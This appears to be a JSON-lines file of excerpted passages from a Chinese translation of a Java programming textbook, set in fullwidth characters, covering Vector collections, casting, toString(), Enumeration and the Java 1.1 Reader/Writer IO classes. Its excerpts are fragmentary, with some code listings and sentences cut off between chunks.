    {"text": "假如将一条狗扔进一个猫的集合，那么仍会将集合内 的所有东西都看作猫，所以在使用那条狗时会得到一个“违例”错误。 在同样的意义上，假若试图将一条狗 的句柄“造型”到一只猫，那么运行期间仍会得到一个“违例”错误。"},
    {"text": "下面是个例子： ／／： ＣａｔｓＡｎｄＤｏｇｓ．ｊａｖａ ／／ Ｓｉｍｐｌｅ ｃｏｌｌｅｃｔｉｏｎ ｅｘａｍｐｌｅ （Ｖｅｃｔｏｒ） ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｃｌａｓｓ Ｃａｔ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｃａｔＮｕｍｂｅｒ； Ｃａｔ（ｉｎｔ ｉ） ｛ ｃａｔＮｕｍｂｅｒ ＝ ｉ； ｝ ｖｏｉｄ ｐｒｉｎｔ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃａｔ ＃＂ ＋ ｃａｔＮｕｍｂｅｒ）； ｝ ｝ ｃｌａｓｓ Ｄｏｇ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｄｏｇＮｕｍｂｅｒ； Ｄｏｇ（ｉｎｔ ｉ） ｛ ｄｏｇＮｕｍｂｅｒ ＝ ｉ； ｝ ｖｏｉｄ ｐｒｉｎｔ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｄｏｇ ＃＂ ＋ ｄｏｇＮｕｍｂｅｒ）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＣａｔｓＡｎｄＤｏｇｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｖｅｃｔｏｒ ｃａｔｓ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ７； ｉ＋＋） ｃａｔｓ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ｃａｔ（ｉ））； ／／ Ｎｏｔ ａ ｐｒｏｂｌｅｍ ｔｏ ａｄｄ ａ ｄｏｇ ｔｏ ｃａｔｓ： ｃａｔｓ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ｄｏｇ（７））； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｃａｔｓ．ｓｉｚｅ（）； ｉ＋＋） （（Ｃａｔ）ｃａｔｓ．ｅｌｅｍｅｎｔＡｔ（ｉ））．ｐｒｉｎｔ（）；"},
    {"text": "／／ Ｄｏｇ ｉｓ ｄｅｔｅｃｔｅｄ ｏｎｌｙ ａｔ ｒｕｎ－ｔｉｍｅ ｝ ｝ ／／／：￣ 可以看出，Ｖｅｃｔｏｒ 的使用是非常简单的：先创建一个，再用 ａｄｄＥｌｅｍｅｎｔ（）置入对象，以后用 ｅｌｅｍｅｎｔＡｔ（）取 得那些对象（注意 Ｖｅｃｔｏｒ 有一个 ｓｉｚｅ（）方法，可使我们知道已添加了多少个元素，以便防止误超边界，造 成违例错误）。"},
    {"text": "２１４ Ｃａｔ 和 Ｄｏｇ 类都非常浅显——除了都是“对象”之外，它们并无特别之处（倘若不明确指出从什么类继承， 就默认为从 Ｏｂｊｅｃｔ 继承。"},
    {"text": "所以我们不仅能用 Ｖｅｃｔｏｒ 方法将 Ｃａｔ 对象置入这个集合，也能添加 Ｄｏｇ 对象，同 时不会在编译期和运行期得到任何出错提示。 用 Ｖｅｃｔｏｒ 方法 ｅｌｅｍｅｎｔＡｔ（）获取原本认为是 Ｃａｔ 的对象时，实 际获得的是指向一个 Ｏｂｊｅｃｔ 的句柄，必须将那个对象造型为 Ｃａｔ。"},
    {"text": "若程序的一个部分（或几个部分）将对象插入一个集合，但我们只是通过一次违例在程序的 某个部分发现一个错误的对象置入了集合，就必须找出插入错误的位置。"},
    {"text": "只要编译器期待的是一个 Ｓｔｒｉｎｇ 对象，但它没有得到一个，就 会自动调用在 Ｏｂｊｅｃｔ 里定义、并且能够由任何 Ｊａｖａ 类覆盖的 ｔｏＳｔｒｉｎｇ（）方法。"},
    {"text": "因此，为了让自己类的对象能显示出来，要做的全部事情就是覆盖 ｔｏＳｔｒｉｎｇ（）方法，如下例所示： ／／： ＷｏｒｋｓＡｎｙｗａｙ．ｊａｖａ ／／ Ｉｎ ｓｐｅｃｉａｌ ｃａｓｅｓ， ｔｈｉｎｇｓ ｊｕｓｔ ｓｅｅｍ ／／ ｔｏ ｗｏｒｋ ｃｏｒｒｅｃｔｌｙ． ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｃｌａｓｓ Ｍｏｕｓｅ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｍｏｕｓｅＮｕｍｂｅｒ； Ｍｏｕｓｅ（ｉｎｔ ｉ） ｛ ｍｏｕｓｅＮｕｍｂｅｒ ＝ ｉ； ｝ ／／ Ｍａｇｉｃ ｍｅｔｈｏｄ： ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ ＂Ｔｈｉｓ ｉｓ Ｍｏｕｓｅ ＃＂ ＋ ｍｏｕｓｅＮｕｍｂｅｒ； ｝ ｖｏｉｄ ｐｒｉｎｔ（Ｓｔｒｉｎｇ ｍｓｇ） ｛ ｉｆ（ｍｓｇ ！ ＝ ｎｕｌｌ） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｍｓｇ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｍｏｕｓｅ ｎｕｍｂｅｒ ＂ ＋ ｍｏｕｓｅＮｕｍｂｅｒ）； ｝ ｝ ｃｌａｓｓ ＭｏｕｓｅＴｒａｐ ｛ ｓｔａｔｉｃ ｖｏｉｄ ｃａｕｇｈｔＹａ（Ｏｂｊｅｃｔ ｍ） ｛ Ｍｏｕｓｅ ｍｏｕｓｅ ＝ （Ｍｏｕｓｅ）ｍ； ／／ Ｃａｓｔ ｆｒｏｍ Ｏｂｊｅｃｔ ｍｏｕｓｅ．ｐｒｉｎｔ（＂Ｃａｕｇｈｔ ｏｎｅ！"},
    {"text": "｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＷｏｒｋｓＡｎｙｗａｙ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｖｅｃｔｏｒ ｍｉｃｅ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ３； ｉ＋＋） ｍｉｃｅ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ｍｏｕｓｅ（ｉ））； ２１５ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｍｉｃｅ．ｓｉｚｅ（）； ｉ＋＋） ｛ ／／ Ｎｏ ｃａｓｔ ｎｅｃｅｓｓａｒｙ， ａｕｔｏｍａｔｉｃ ｃａｌｌ ／／ ｔｏ Ｏｂｊｅｃｔ．ｔｏＳｔｒｉｎｇ（）： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｆｒｅｅ ｍｏｕｓｅ： ＂ ＋ ｍｉｃｅ．ｅｌｅｍｅｎｔＡｔ（ｉ））； ＭｏｕｓｅＴｒａｐ．ｃａｕｇｈｔＹａ（ｍｉｃｅ．ｅｌｅｍｅｎｔＡｔ（ｉ））； ｝ ｝ ｝ ／／／：￣ 可在 Ｍｏｕｓｅ 里看到对 ｔｏＳｔｒｉｎｇ（）的重定义代码。 在 ｍａｉｎ（）的第二个 ｆｏｒ 循环中，可发现下述语句： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｆｒｅｅ ｍｏｕｓｅ： ＂ ＋ ｍｉｃｅ．ｅｌｅｍｅｎｔＡｔ（ｉ））；"},
    {"text": "在“＋”后，编译器预期看到的是一个 Ｓｔｒｉｎｇ 对象。 ｅｌｅｍｅｎｔＡｔ（）生成了一个 Ｏｂｊｅｃｔ，所以为获得希望的 Ｓｔｒｉｎｇ，编译器会默认调用 ｔｏＳｔｒｉｎｇ（）。"},
    {"text": "如下所示： ／／： ＧｏｐｈｅｒＶｅｃｔｏｒ．ｊａｖａ ／／ Ａ ｔｙｐｅ－ｃｏｎｓｃｉｏｕｓ Ｖｅｃｔｏｒ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｃｌａｓｓ Ｇｏｐｈｅｒ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｇｏｐｈｅｒＮｕｍｂｅｒ； Ｇｏｐｈｅｒ（ｉｎｔ ｉ） ｛ ｇｏｐｈｅｒＮｕｍｂｅｒ ＝ ｉ； ｝ ｖｏｉｄ ｐｒｉｎｔ（Ｓｔｒｉｎｇ ｍｓｇ） ｛ ｉｆ（ｍｓｇ ！ ＝ ｎｕｌｌ） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｍｓｇ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｇｏｐｈｅｒ ｎｕｍｂｅｒ ＂ ＋ ｇｏｐｈｅｒＮｕｍｂｅｒ）； ｝ ｝ ｃｌａｓｓ ＧｏｐｈｅｒＴｒａｐ ｛ ｓｔａｔｉｃ ｖｏｉｄ ｃａｕｇｈｔＹａ（Ｇｏｐｈｅｒ ｇ） ｛ ｇ．ｐｒｉｎｔ（＂Ｃａｕｇｈｔ ｏｎｅ！"},
    {"text": "｝ ｝ ｃｌａｓｓ ＧｏｐｈｅｒＶｅｃｔｏｒ ｛ ２１６ ｐｒｉｖａｔｅ Ｖｅｃｔｏｒ ｖ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｐｕｂｌｉｃ ｖｏｉｄ ａｄｄＥｌｅｍｅｎｔ（Ｇｏｐｈｅｒ ｍ） ｛ ｖ．ａｄｄＥｌｅｍｅｎｔ（ｍ）； ｝ ｐｕｂｌｉｃ Ｇｏｐｈｅｒ ｅｌｅｍｅｎｔＡｔ（ｉｎｔ ｉｎｄｅｘ） ｛ ｒｅｔｕｒｎ （Ｇｏｐｈｅｒ）ｖ．ｅｌｅｍｅｎｔＡｔ（ｉｎｄｅｘ）； ｝ ｐｕｂｌｉｃ ｉｎｔ ｓｉｚｅ（） ｛ ｒｅｔｕｒｎ ｖ．ｓｉｚｅ（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＧｏｐｈｅｒＶｅｃｔｏｒ ｇｏｐｈｅｒｓ ＝ ｎｅｗ ＧｏｐｈｅｒＶｅｃｔｏｒ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ３； ｉ＋＋） ｇｏｐｈｅｒｓ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ｇｏｐｈｅｒ（ｉ））； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｇｏｐｈｅｒｓ．ｓｉｚｅ（）； ｉ＋＋） ＧｏｐｈｅｒＴｒａｐ．ｃａｕｇｈｔＹａ（ｇｏｐｈｅｒｓ．ｅｌｅｍｅｎｔＡｔ（ｉ））；"},
    {"text": "｝ ｝ ／／／：￣ 这前一个例子类似，只是新的 ＧｏｐｈｅｒＶｅｃｔｏｒ 类有一个类型为 Ｖｅｃｔｏｒ 的 ｐｒｉｖａｔｅ 成员（从 Ｖｅｃｔｏｒ 继承有些麻 烦，理由稍后便知），而且方法也和 Ｖｅｃｔｏｒ 类似。"},
    {"text": "由于 ＧｏｐｈｅｒＶｅｃｔｏｒ 只接收一个 Ｇｏｐｈｅｒ（地鼠），所以假如我们使用： ｇｏｐｈｅｒｓ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ｐｉｇｅｏｎ（））；"},
    {"text": "但假若最开始决定使用 Ｖｅｃｔｏｒ，后来在程序中又决定（考虑执行效率的原因） 改变成一个 Ｌｉｓｔ（属于 Ｊａｖａ１．２ 集合库的一部分），这时又该如何做呢？"},
    {"text": "除下面这些外，不可再用它 做其他任何事情： （１） 用一个名为 ｅｌｅｍｅｎｔｓ（）的方法要求集合为我们提供一个 Ｅｎｕｍｅｒａｔｉｏｎ。"},
    {"text": "在原始版本中， ｅｌｅｍｅｎｔＡｔ（）方法用于选择每一个元素，但在下述修订版中，可看到使用了一个“枚举”： ／／： ＣａｔｓＡｎｄＤｏｇｓ２．ｊａｖａ ／／ Ｓｉｍｐｌｅ ｃｏｌｌｅｃｔｉｏｎ ｗｉｔｈ Ｅｎｕｍｅｒａｔｉｏｎ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｃｌａｓｓ Ｃａｔ２ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｃａｔＮｕｍｂｅｒ； Ｃａｔ２（ｉｎｔ ｉ） ｛ ｃａｔＮｕｍｂｅｒ ＝ ｉ； ｝ ｖｏｉｄ ｐｒｉｎｔ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃａｔ ｎｕｍｂｅｒ ＂ ＋ｃａｔＮｕｍｂｅｒ）； ｝ ｝ ｃｌａｓｓ Ｄｏｇ２ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｄｏｇＮｕｍｂｅｒ； Ｄｏｇ２（ｉｎｔ ｉ） ｛ ｄｏｇＮｕｍｂｅｒ ＝ ｉ； ｝ ｖｏｉｄ ｐｒｉｎｔ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｄｏｇ ｎｕｍｂｅｒ ＂ ＋ｄｏｇＮｕｍｂｅｒ）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＣａｔｓＡｎｄＤｏｇｓ２ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｖｅｃｔｏｒ ｃａｔｓ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ７； ｉ＋＋） ｃａｔｓ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ｃａｔ２（ｉ））； ／／ Ｎｏｔ ａ ｐｒｏｂｌｅｍ ｔｏ ａｄｄ ａ ｄｏｇ ｔｏ ｃａｔｓ： ｃａｔｓ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ｄｏｇ２（７））； Ｅｎｕｍｅｒａｔｉｏｎ ｅ ＝ ｃａｔｓ．ｅｌｅｍｅｎｔｓ（）； ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） （（Ｃａｔ２）ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（））．ｐｒｉｎｔ（）； ／／ Ｄｏｇ ｉｓ ｄｅｔｅｃｔｅｄ ｏｎｌｙ ａｔ ｒｕｎ－ｔｉｍｅ ｝ ｝ ／／／：￣ 我们看到唯一的改变就是最后几行。"},
    {"text": "ｉ ＜ ｃａｔｓ．ｓｉｚｅ（）； ｉ＋＋） （（Ｃａｔ）ｃａｔｓ．ｅｌｅｍｅｎｔＡｔ（ｉ））．ｐｒｉｎｔ（）； 而是用一个 Ｅｎｕｍｅｒａｔｉｏｎ 遍历整个序列： ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ２１８ （（Ｃａｔ２）ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（））．ｐｒｉｎｔ（）；"},
    {"text": "下面再看看另一个例子，让我们创建一个常规用途的打印方法： ／／： ＨａｍｓｔｅｒＭａｚｅ．ｊａｖａ ／／ Ｕｓｉｎｇ ａｎ Ｅｎｕｍｅｒａｔｉｏｎ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｃｌａｓｓ Ｈａｍｓｔｅｒ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｈａｍｓｔｅｒＮｕｍｂｅｒ； Ｈａｍｓｔｅｒ（ｉｎｔ ｉ） ｛ ｈａｍｓｔｅｒＮｕｍｂｅｒ ＝ ｉ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ ＂Ｔｈｉｓ ｉｓ Ｈａｍｓｔｅｒ ＃＂ ＋ ｈａｍｓｔｅｒＮｕｍｂｅｒ； ｝ ｝ ｃｌａｓｓ Ｐｒｉｎｔｅｒ ｛ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｉｎｔＡｌｌ（Ｅｎｕｍｅｒａｔｉｏｎ ｅ） ｛ ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（）．ｔｏＳｔｒｉｎｇ（））； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＨａｍｓｔｅｒＭａｚｅ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｖｅｃｔｏｒ ｖ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ３； ｉ＋＋） ｖ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ｈａｍｓｔｅｒ（ｉ））； Ｐｒｉｎｔｅｒ．ｐｒｉｎｔＡｌｌ（ｖ．ｅｌｅｍｅｎｔｓ（））；"},
    {"text": "｝ ｝ ／／／：￣ 仔细研究一下打印方法： ｓｔａｔｉｃ ｖｏｉｄ ｐｒｉｎｔＡｌｌ（Ｅｎｕｍｅｒａｔｉｏｎ ｅ） ｛ ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（）．ｔｏＳｔｒｉｎｇ（））；"},
    {"text": "这个看似特殊的例子甚至可以更为通用，因为它使用了常规的 ｔｏＳｔｒｉｎｇ（）方法（之所以称为常规，是由于它 属于 Ｏｂｊｅｃｔ 类的一部分）。"},
    {"text": "下面是调用打印的另一个方法（尽管在效率上可能会差一些）： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂＂ ＋ ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（））；"},
    {"text": "亦可对此执行一次造型，获得与调用 ｔｏＳｔｒｉｎｇ（）同样的效果： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（（Ｓｔｒｉｎｇ）ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（）） 但我们想做的事情通常并不仅仅是调用 Ｏｂｊｅｃｔ 方法，所以会再度面临类型造型的问题。"},
    {"text": "对于自己感兴趣的类 型，必须假定自己已获得了一个 Ｅｎｕｍｅｒａｔｉｏｎ，然后将结果对象造型成为那种类型（若操作错误，会得到运 行期违例）。"},
    {"text": "尽管我们大多数时候只需用 ａｄｄＥｌｅｍｅｎｔ（）插入对 象，用 ｅｌｅｍｅｎｔＡｔ（）一次提取一个对象，并用 ｅｌｅｍｅｎｔｓ（）获得对序列的一个“枚举”。"},
    {"text": "１． 崩溃 Ｊａｖａ Ｊａｖａ 标准集合里包含了 ｔｏＳｔｒｉｎｇ（）方法，所以它们能生成自己的 Ｓｔｒｉｎｇ 表达方式，包括它们容纳的对象。"},
    {"text": "看起来似乎简单地引用 ｔｈｉｓ 即可（特别是 Ｃ＋＋程序员有这样做的倾向）： ／／： ＣｒａｓｈＪａｖａ．ｊａｖａ ／／ Ｏｎｅ ｗａｙ ｔｏ ｃｒａｓｈ Ｊａｖａ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＣｒａｓｈＪａｖａ ｛ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ ＂ＣｒａｓｈＪａｖａ ａｄｄｒｅｓｓ： ＂ ＋ ｔｈｉｓ ＋ ＂＼ｎ＂； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｖｅｃｔｏｒ ｖ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ １０； ｉ＋＋） ｖ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ ＣｒａｓｈＪａｖａ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｖ）；"},
    {"text": "｝ ｝ ／／／：￣ 若只是简单地创建一个 ＣｒａｓｈＪａｖａ 对象，并将其打印出来，就会得到无穷无尽的一系列违例错误。 然而，假 如将 ＣｒａｓｈＪａｖａ 对象置入一个 Ｖｅｃｔｏｒ，并象这里演示的那样打印 Ｖｅｃｔｏｒ，就不会出现什么错误提示，甚至连 一个违例都不会出现。"},
    {"text": "index Ｓｔｒｉｎｇ ｓ ＝ ｓｔ．ｎｅｘｔＴｏｋｅｎ（）； ｐｒｔ（ｓ）； ｒｅｔｕｒｎ ｓ； ｝ ３０４ ｅｌｓｅ ｒｅｔｕｒｎ ＂＂； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｔ（Ｓｔｒｉｎｇ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）；"},
    {"text": "ａｎａｌｙｚｅ（）方法剩余部分的逻辑是搜索“Ｉ ａｍ ｓａｄ”（我很忧伤、“Ｉ ａｍ ｎｏｔｈａｐｐｙ”（我不快乐）或者“Ａｒｅ ｙｏｕ ｓａｄ？"},
    {"text": "然而，如果有一 个字串需要进行记号处理，而且 ＳｔｒｉｎｇＴｏｋｅｎｉｚｅｒ 的功能实在有限，那么应该做的全部事情就是用 ＳｔｒｉｎｇＢｕｆｆｅｒＩｎｐｕｔＳｔｒｅａｍ 将其转换到一个数据流里，再用它创建一个功能更强大的 ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ。"},
    {"text": "１ ０ ． ７ Ｊ ａ ｖ ａ １ ． １ 的 Ｉ Ｏ 流 到这个时候，大家或许会陷入一种困境之中，怀疑是否存在 ＩＯ 流的另一种设计方案，并可能要求更大的代码 量。"},
    {"text": "看到 Ｒｅａｄｅｒ 和 Ｗｒｉｔｅｒ 类时，大多数人的第一个印象（就象我一样）就是它们用来替换原来的 ＩｎｐｕｔＳｔｒｅａｍ 和 ＯｕｔｐｕｔＳｔｒｅａｍ 类。"},
    {"text": "尽管不建议使用原始数据流库的某些功能（如使用它们，会从编译器收 到一条警告消息），但原来的数据流依然得到了保留，以便维持向后兼容，而且： （１） 在老式层次结构里加入了新类，所以 Ｓｕｎ 公司明显不会放弃老式数据流。"},
    {"text": "为达到这个目的，需要使用一些 “桥”类：ＩｎｐｕｔＳｔｒｅａｍＲｅａｄｅｒ 将一个 ＩｎｐｕｔＳｔｒｅａｍ 转换成 Ｒｅａｄｅｒ，ＯｕｔｐｕｔＳｔｒｅａｍＷｒｉｔｅｒ 将一个 ＯｕｔｐｕｔＳｔｒｅａｍ 转换成 Ｗｒｉｔｅｒ。"},
    {"text": "由于 Ｕｎｉｃｏｄｅ 主要面向的是国际化支持（Ｊａｖａ 内 含的 ｃｈａｒ 是 １６ 位的 Ｕｎｉｃｏｄｅ），所以添加了 Ｒｅａｄｅｒ 和 Ｗｒｉｔｅｒ 层次，以提供对所有 ＩＯ 操作中的 Ｕｎｉｃｏｄｅ 的 支持。"},
    {"text": "发起＆接收：Ｊａｖａ １．０ 类 对应的 Ｊａｖａ １．１ 类 Ｓｏｕｒｃｅｓ ＆ Ｓｉｎｋｓ： Ｃｏｒｒｅｓｐｏｎｄｉｎｇ Ｊａｖａ １．１ ｃｌａｓｓ Ｊａｖａ １．０ ｃｌａｓｓ ３０５ Ｉ ｎ ｐ ｕ ｔ Ｓ ｔ ｒ ｅ ａ ｍ Ｒ ｅ ａ ｄ ｅ ｒ ｃｏｎｖｅｒｔｅｒ： Ｉ ｎ ｐ ｕ ｔ Ｓ ｔ ｒ ｅ ａ ｍ Ｒ ｅ ａ ｄ ｅ ｒ Ｏ ｕ ｔ ｐ ｕ ｔ Ｓ ｔ ｒ ｅ ａ ｍ Ｗ ｒ ｉ ｔ ｅ ｒ ｃｏｎｖｅｒｔｅｒ： ＯｕｔｐｕｔＳｔｒｅａｍＷｒｉｔｅｒ Ｆ ｉ ｌ ｅ Ｉ ｎ ｐ ｕ ｔ Ｓ ｔ ｒ ｅ ａ ｍ Ｆ ｉ ｌ ｅ Ｒ ｅ ａ ｄ ｅ ｒ Ｆ ｉ ｌ ｅ Ｏ ｕ ｔ ｐ ｕ ｔ Ｓ ｔ ｒ ｅ ａ ｍ Ｆ ｉ ｌ ｅ Ｗ ｒ ｉ ｔ ｅ ｒ ＳｔｒｉｎｇＢｕｆｆｅｒＩｎｐｕｔＳｔｒｅａｍ Ｓ ｔ ｒ ｉ ｎ ｇ Ｒ ｅ ａ ｄ ｅ ｒ （ｎｏ ｃｏｒｒｅｓｐｏｎｄｉｎｇ ｃｌａｓｓ） Ｓ ｔ ｒ ｉ ｎ ｇ Ｗ ｒ ｉ ｔ ｅ ｒ Ｂ ｙ ｔ ｅ Ａ ｒ ｒ ａ ｙ Ｉ ｎ ｐ ｕ ｔ Ｓ ｔ ｒ ｅ ａ ｍ Ｃ ｈ ａ ｒ Ａ ｒ ｒ ａ ｙ Ｒ ｅ ａ ｄ ｅ ｒ Ｂ ｙ ｔ ｅ Ａ ｒ ｒ ａ ｙ Ｏ ｕ ｔ ｐ ｕ ｔ Ｓ ｔ ｒ ｅ ａ ｍ Ｃ ｈ ａ ｒ Ａ ｒ ｒ ａ ｙ Ｗ ｒ ｉ ｔ ｅ ｒ Ｐ ｉ ｐ ｅ ｄ Ｉ ｎ ｐ ｕ ｔ Ｓ ｔ ｒ ｅ ａ ｍ Ｐ ｉ ｐ ｅ ｄ Ｒ ｅ ａ ｄ ｅ ｒ Ｐ ｉ ｐ ｅ ｄ Ｏ ｕ ｔ ｐ ｕ ｔ Ｓ ｔ ｒ ｅ ａ ｍ Ｐ ｉ ｐ ｅ ｄ Ｗ ｒ ｉ ｔ ｅ ｒ 我们发现即使不完全一致，但旧库组件中的接口与新接口通常也是类似的。"},
    {"text": "１ ０ ． ７ ． ２ 修改数据流的行为 在 Ｊａｖａ １．０ 中，数据流通过 ＦｉｌｔｅｒＩｎｐｕｔＳｔｒｅａｍ 和 ＦｉｌｔｅｒＯｕｔｐｕｔＳｔｒｅａｍ 的“装饰器”（Ｄｅｃｏｒａｔｏｒ）子类适 应特定的需求。"},
    {"text": "之所以会出现这个差别，是由类的组织造成的：尽管 ＢｕｆｆｅｒｅｄＯｕｔｐｕｔＳｔｒｅａｍ 是 ＦｉｌｔｅｒＯｕｔｐｕｔＳｔｒｅａｍ 的一个子类，但是 ＢｕｆｆｅｒｅｄＷｒｉｔｅｒ 并不是 ＦｉｌｔｅｒＷｒｉｔｅｒ 的 子类（对后者来说，尽管它是一个抽象类，但没有自己的子类或者近似子类的东西，也没有一个“占位符” 可用，所以不必费心地寻找）。"},
    {"text": "然而，两个类的接口是非常相似的，而且不管在什么情况下，显然应该尽可 能地使用新版本，而不应考虑旧版本（也就是说，除非在一些类中必须生成一个 Ｓｔｒｅａｍ，不可生成 Ｒｅａｄｅｒ 或者 Ｗｒｉｔｅｒ）。"},
    {"text": "过滤器：Ｊａｖａ １．０ 类 对应的 Ｊａｖａ １．１ 类 ＦｉｌｔｅｒＩｎｐｕｔＳｔｒｅａｍ ＦｉｌｔｅｒＲｅａｄｅｒ ＦｉｌｔｅｒＯｕｔｐｕｔＳｔｒｅａｍ ＦｉｌｔｅｒＷｒｉｔｅｒ（没有子类的抽象类） ＢｕｆｆｅｒｅｄＩｎｐｕｔＳｔｒｅａｍ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（也有 ｒｅａｄＬｉｎｅ（）） ＢｕｆｆｅｒｅｄＯｕｔｐｕｔＳｔｒｅａｍ ＢｕｆｆｅｒｅｄＷｒｉｔｅｒ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 使用 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ（除非要使用 ｒｅａｄＬｉｎｅ（），那时需要使用一个 ＢｕｆｆｅｒｅｄＲｅａｄｅｒ） ＰｒｉｎｔＳｔｒｅａｍ ＰｒｉｎｔＷｒｉｔｅｒ ＬｉｎｅＮｕｍｂｅｒＩｎｐｕｔＳｔｒｅａｍ ＬｉｎｅＮｕｍｂｅｒＲｅａｄｅｒ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ ＳｔｒｅａｍＴｏｋｅｎｉｚｅｒ（用构建器取代 Ｒｅａｄｅｒ） 